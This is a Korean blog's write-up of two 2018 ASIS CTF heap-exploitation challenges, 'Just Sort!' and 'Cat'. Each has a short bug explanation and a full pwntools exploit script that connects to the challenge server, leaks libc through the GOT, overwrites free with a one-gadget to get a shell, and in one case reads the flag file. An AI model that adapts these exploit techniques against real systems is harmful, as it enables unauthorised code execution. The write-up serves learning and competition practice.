2018_Asis_CTF Just Sort!
푸는 방식은 Cat과 거의 똑같다.
다른게 있다면 이 문제는 search라는 함수가 있는데 search를 분석해보면
사이즈를 어떻게 할당하던 무조건 read를 0x64만큼 받는다. 힙 오버플로우가 발생한다. 이걸 이용해서 똑같이 청크를 가리키고 있는 포인터를 조작하여 릭과 공격을 하면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | from pwn import* #p=process("./just_sort") p=remote('159.65.125.233',6005) elf =ELF("./just_sort") def insert(size,memo): p.sendlineafter("> ","1") p.sendlineafter("> ",str(size)) print p.sendlineafter("> ",memo) def edit(has,pos,memo): p.sendlineafter("> ","2") p.sendlineafter("> ",str(has)) p.sendlineafter("> ",str(pos)) print p.sendlineafter("> ",memo) def Print(): p.sendlineafter("> ","3") def search(many,value): p.sendlineafter("> ","4") p.sendlineafter("> ",str(many)) print p.sendafter("> ",value) def delete(has,pos): p.sendlineafter("> ","5") p.sendlineafter("> ",str(has)) print p.sendlineafter("> ",str(pos)) insert(16,"a"*16) insert(16,"b"*16) delete(1,0) search(16,"A"*16+p64(0x80)+p64(0x21)+"A"*16+p64(0)+p64(0x21)+p64(0)+p64(elf.got["free"])) Print() print p.recvuntil("hash_id:1") print p.recvuntil("0: \"") free=u64(p.recv(6)+"\x00\x00") base = free-0x844f0 one =base+0xf02a4 edit(1,0,p64(one)) delete(1,0) p.interactive() | cs |
다른 문제들도 풀어야겠다 ㅎ
'CTF' 카테고리의 다른 글
2018 0ctf babystack (0) | 2018.05.25 |
---|---|
2015 Codegate final yocto (0) | 2018.05.09 |
2018_Asis_CTF Cat (0) | 2018.05.03 |
2018 HITB-XCTF d (0) | 2018.04.15 |
2018 Codegate Final heapbabe & 후기 (0) | 2018.04.08 |
2018_Asis_CTF Cat
메인 함수를 보자!
이렇게 되어있다!
우선 create 함수를 보면 함수가 한번 실행될 때 3번을 할당한다.
먼저 포인터 청크를 하나 만들고 name 청크 kind 청크를 만들어서 관리한다.
그 다음으로 edit 함수를 보자
create와 같이 청크 3개를 할당한다.
n을 누르면 free를 하는데 전역변수 0x6020f0을 0으로 초기화 시키지 않는다. 그렇게 되면 다음부터 edit 함수를 쓸 때는 할당하지 않고 바로 0x6020f0쪽에 값을 넣을 수 있게 된다. 그래서 그쪽에 청크를 만들고 edit을 시키면 청크 포인터를 조작할 수 있다.
나는 그걸 이용해서 free를 puts로 덮어서 릭을 하고 다시 free를 one_shot으로 덮어서 풀었다. print 함수를 썼으면 free를 puts로 안덮고 그냥 릭할 수 있었는데 까먹었었다 ㅎㅎ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | from pwn import* #p=process("./Cat") p=remote('178.62.40.102',6000) elf = ELF("./Cat") def create(name,kind,old): p.sendlineafter("> ","1") p.sendlineafter("> ",name) p.sendlineafter("> ",kind) print p.sendlineafter("> ",str(old)) def modify(idx,name,kind,old,select): p.sendlineafter("> ","2") p.sendlineafter("> ",str(idx)) p.sendlineafter("> ",name) p.sendlineafter("> ",kind) p.sendlineafter("> ",str(old)) print p.sendlineafter("n> ",select) def print1(idx): p.sendlineafter("> ","3") print p.sendlineafter("> ",str(idx)) def print2(idx): p.sendlineafter("> ","4") def delete(idx): p.sendlineafter("> ","5") p.sendlineafter("> ",str(idx)) create("AAAA","AAAA",10) modify(0,"BBBB","BBBB",10,"n") create(p64(elf.got["free"]),p64(elf.got["free"]),10) modify(0,p64(elf.plt["puts"]),"T"*16+p32(elf.got["puts"]),"1","n") delete(0) puts = u64(p.recv(6)+"\x00\x00") base = puts-0x6f690 one = base+0xf02a4 print "puts: " + hex(puts) print "base: " + hex(base) modify(1,p64(one),"T"*16,10,"n") p.sendline("cat /home/pwn/flag") p.interactive() | cs |
'CTF' 카테고리의 다른 글
2015 Codegate final yocto (0) | 2018.05.09 |
---|---|
2018_Asis_CTF Just Sort! (0) | 2018.05.03 |
2018 HITB-XCTF d (0) | 2018.04.15 |
2018 Codegate Final heapbabe & 후기 (0) | 2018.04.08 |
2017 Codegate Final building_owner (0) | 2018.03.29 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.